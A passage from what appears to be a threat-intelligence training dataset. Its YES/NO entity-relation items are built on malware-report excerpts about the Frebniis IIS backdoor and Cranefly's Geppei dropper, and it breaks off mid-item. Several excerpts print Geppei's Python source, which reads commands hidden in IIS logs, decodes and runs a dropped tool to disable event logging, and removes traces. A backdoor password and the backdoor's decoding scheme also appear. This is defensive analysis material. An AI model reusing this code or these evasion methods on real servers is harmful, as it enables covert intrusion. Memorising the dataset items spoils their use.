"You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: .NET\n### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command Function name Parameter Description\n------------\n1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system\n2 ReadScoket Uuid Read a Base64 string from a remote system\n3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system\n4 CloseScoket Uuid Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n.NET\n### Target Entity: Frebniis\n### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command Function name Parameter Description\n------------\n1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system\n2 ReadScoket Uuid Read a Base64 string from a remote system\n3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system\n4 CloseScoket Uuid Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nb81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef\n### Target Entity: Frebniis\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c \u2013 Backdoor.Frebniis\nb81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef \u2013 Backdoor.Frebniis\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c\n### Target Entity: Frebniis\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c \u2013 Backdoor.Frebniis\nb81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef \u2013 Backdoor.Frebniis\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: b81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c \u2013 Backdoor.Frebniis\nb81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef \u2013 Backdoor.Frebniis\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nw3wp.exe\n### Target Entity: IIS\n### Text Passage:\nStealth Code Hijacking of IIS\nFrebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.\nThe authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.\nFigure 1. Function pointer table used to hijack execution\nFrebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.\nFigure 2. After running its own malicious code, Frebniis jumps back to the original function\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\niiscore.dll\n### Target Entity: IIS\n### Text Passage:\nStealth Code Hijacking of IIS\nFrebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.\nThe authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.\nFigure 1. Function pointer table used to hijack execution\nFrebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.\nFigure 2. After running its own malicious code, Frebniis jumps back to the original function\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: IIS\n### Text Passage:\nStealth Code Hijacking of IIS\nFrebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.\nThe authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.\nFigure 1. Function pointer table used to hijack execution\nFrebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.\nFigure 2. After running its own malicious code, Frebniis jumps back to the original function\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\niisfreb.dll\n### Target Entity: IIS\n### Text Passage:\nStealth Code Hijacking of IIS\nFrebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.\nThe authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.\nFigure 1. Function pointer table used to hijack execution\nFrebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.\nFigure 2. After running its own malicious code, Frebniis jumps back to the original function\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCranefly\n### Target Entity: Geppei\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCranefly\n### Target Entity: Danfuan\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: IIS\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Danfuan\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: Regeorg\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC3524\n### Target Entity: Regeorg\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCranefly\n### Target Entity: Regeorg\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCranefly\n### Target Entity: IIS\n### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCranefly\n### Target Entity: Regeorg\n### Text Passage:\nAttribution\nHacktool.Regeorg has been used by multiple advanced persistent threat (APT) groups in the past, but as this code is publicly available on GitHub, its use does not offer sufficient clues for attribution. Symantec was unable to link this activity to any known groups.\nThe use of a novel technique and custom tools, as well as the steps taken to hide traces of this activity on victim machines, indicate that Cranefly is a fairly skilled threat actor. While we do not see data being exfiltrated from victim machines, the tools deployed and efforts taken to conceal this activity indicate that the most likely motivation for this group is intelligence gathering.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSymantec\n### Target Entity: Cranefly\n### Text Passage:\nAttribution\nHacktool.Regeorg has been used by multiple advanced persistent threat (APT) groups in the past, but as this code is publicly available on GitHub, its use does not offer sufficient clues for attribution. Symantec was unable to link this activity to any known groups.\nThe use of a novel technique and custom tools, as well as the steps taken to hide traces of this activity on victim machines, indicate that Cranefly is a fairly skilled threat actor. While we do not see data being exfiltrated from victim machines, the tools deployed and efforts taken to conceal this activity indicate that the most likely motivation for this group is intelligence gathering.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: PyInstaller\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGeppei\n### Target Entity: IIS\n### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen 